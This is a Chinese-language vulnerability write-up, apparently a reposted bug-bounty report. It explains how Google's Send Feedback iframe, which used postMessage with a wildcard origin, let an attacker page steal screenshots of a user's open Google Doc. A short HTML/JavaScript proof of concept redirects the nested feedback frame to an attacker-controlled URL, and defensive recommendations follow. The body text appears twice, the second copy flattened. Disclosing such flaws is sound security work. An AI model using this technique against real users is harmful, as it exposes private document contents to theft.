挖洞经验 | 利用反馈功能漏洞劫持谷歌文档用户当前工作界面截图
字数 1398 2025-08-15 21:33:12

利用谷歌反馈功能劫持用户文档界面的漏洞分析

漏洞概述

本漏洞利用谷歌产品中的"反馈发送"(Send Feedback)功能,通过修改iframe框架的URL路径,实现对用户当前谷歌文档(Google Docs)工作界面的间接劫持。该漏洞涉及跨域通信和postMessage机制的安全问题。

背景知识

谷歌反馈功能

谷歌在其大部分应用产品中集成了"反馈发送"(Send Feedback)功能,用于用户在使用过程中的问题反馈。该功能特点包括:

  • 广泛存在于谷歌旗下应用(包括主站点www.google.com)
  • 通过Iframe方式集成到其他谷歌域名网站下
  • 包含问题描述的截图添加选项

技术机制

  1. iframe跨域通信:谷歌文档(Google Docs)通过iframe方式将工作区域截图发送到反馈系统
  2. postMessage机制:用于在不同源(域)之间安全地传递消息
  3. RGB颜色模式传输:文档截图以RGB颜色模式编码传输

漏洞发现过程

初始思路

研究者最初试图在沙箱域名feedback.googleusercontent.com寻找XSS漏洞,希望通过XSS劫持传输的RGB像素值来窃取截图,但经过5天测试未果。

关键突破

受到Intigriti XSS挑战赛解题思路启发,发现:

  1. 如果跨域域名缺少X-Frame-Header消息头,可以修改iframe涉及的域名路径
  2. Google Docs确实缺少X-Frame header消息头
  3. 反馈功能最后的postMessage方法使用通配符("*")作为目标源,没有域名限制

漏洞利用原理

技术细节

  1. 截图传输流程

    • Google Docs通过postMessage将文档截图RGB颜色模式发送到www.google.com的iframe框架
    • RGB数据被转发到feedback.googleusercontent.com
    • 最终以Base64编码发送回主站www.google.com的iframe框架
  2. 漏洞关键点

    • 反馈功能最后的postMessage使用windowRef.postmessage("<Data>","*"),无域名限制
    • Google Docs缺少X-Frame header消息头
    • 可以修改iframe的目标域名

利用方法

通过修改iframe调用的沙箱域名为攻击者控制的网站,接收谷歌postMessage发送的数据。

漏洞验证(POC)

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
// 伪代码
setTimeout(function(){
    exp();
}, 6000);

function exp(){
    setInterval(function(){
        window.frames[0].frame[0][2].location="https://geekycat.in/exploit.html";
    }, 100);
}
</script>
</html>

POC说明

  1. 使用setTimeout在6秒后加载iframe框架(等待用户可能点击"Submit Feedback")
  2. 设置100毫秒的刷新间隔,确保及时捕获用户操作
  3. 将iframe的location修改为攻击者控制的恶意域名

防御建议

  1. 对谷歌的建议

    • 为Google Docs添加X-Frame-Options头
    • 避免在postMessage中使用通配符("*")作为目标源
    • 对iframe通信实施更严格的源验证
  2. 对用户的建议

    • 谨慎使用反馈功能,特别是涉及敏感文档时
    • 注意浏览器控制台的异常消息
    • 保持浏览器和插件更新

总结

该漏洞展示了现代Web应用中跨域通信和iframe安全配置的重要性。通过精心构造的攻击,可以绕过常规的安全措施,实现对用户敏感数据的间接获取。开发者在实现类似功能时应特别注意postMessage的目标源设置和iframe的安全头部配置。

利用谷歌反馈功能劫持用户文档界面的漏洞分析 漏洞概述 本漏洞利用谷歌产品中的"反馈发送"(Send Feedback)功能,通过修改iframe框架的URL路径,实现对用户当前谷歌文档(Google Docs)工作界面的间接劫持。该漏洞涉及跨域通信和postMessage机制的安全问题。 背景知识 谷歌反馈功能 谷歌在其大部分应用产品中集成了"反馈发送"(Send Feedback)功能,用于用户在使用过程中的问题反馈。该功能特点包括: 广泛存在于谷歌旗下应用(包括主站点www.google.com) 通过Iframe方式集成到其他谷歌域名网站下 包含问题描述的截图添加选项 技术机制 iframe跨域通信 :谷歌文档(Google Docs)通过iframe方式将工作区域截图发送到反馈系统 postMessage机制 :用于在不同源(域)之间安全地传递消息 RGB颜色模式传输 :文档截图以RGB颜色模式编码传输 漏洞发现过程 初始思路 研究者最初试图在沙箱域名feedback.googleusercontent.com寻找XSS漏洞,希望通过XSS劫持传输的RGB像素值来窃取截图,但经过5天测试未果。 关键突破 受到Intigriti XSS挑战赛解题思路启发,发现: 如果跨域域名缺少X-Frame-Header消息头,可以修改iframe涉及的域名路径 Google Docs确实缺少X-Frame header消息头 反馈功能最后的postMessage方法使用通配符("* ")作为目标源,没有域名限制 漏洞利用原理 技术细节 截图传输流程 : Google Docs通过postMessage将文档截图RGB颜色模式发送到www.google.com的iframe框架 RGB数据被转发到feedback.googleusercontent.com 最终以Base64编码发送回主站www.google.com的iframe框架 漏洞关键点 : 反馈功能最后的postMessage使用 windowRef.postmessage("<Data>","*") ,无域名限制 Google Docs缺少X-Frame header消息头 可以修改iframe的目标域名 利用方法 通过修改iframe调用的沙箱域名为攻击者控制的网站,接收谷歌postMessage发送的数据。 漏洞验证(POC) POC说明 使用setTimeout在6秒后加载iframe框架(等待用户可能点击"Submit Feedback") 设置100毫秒的刷新间隔,确保及时捕获用户操作 将iframe的location修改为攻击者控制的恶意域名 防御建议 对谷歌的建议 : 为Google Docs添加X-Frame-Options头 避免在postMessage中使用通配符("* ")作为目标源 对iframe通信实施更严格的源验证 对用户的建议 : 谨慎使用反馈功能,特别是涉及敏感文档时 注意浏览器控制台的异常消息 保持浏览器和插件更新 总结 该漏洞展示了现代Web应用中跨域通信和iframe安全配置的重要性。通过精心构造的攻击,可以绕过常规的安全措施,实现对用户敏感数据的间接获取。开发者在实现类似功能时应特别注意postMessage的目标源设置和iframe的安全头部配置。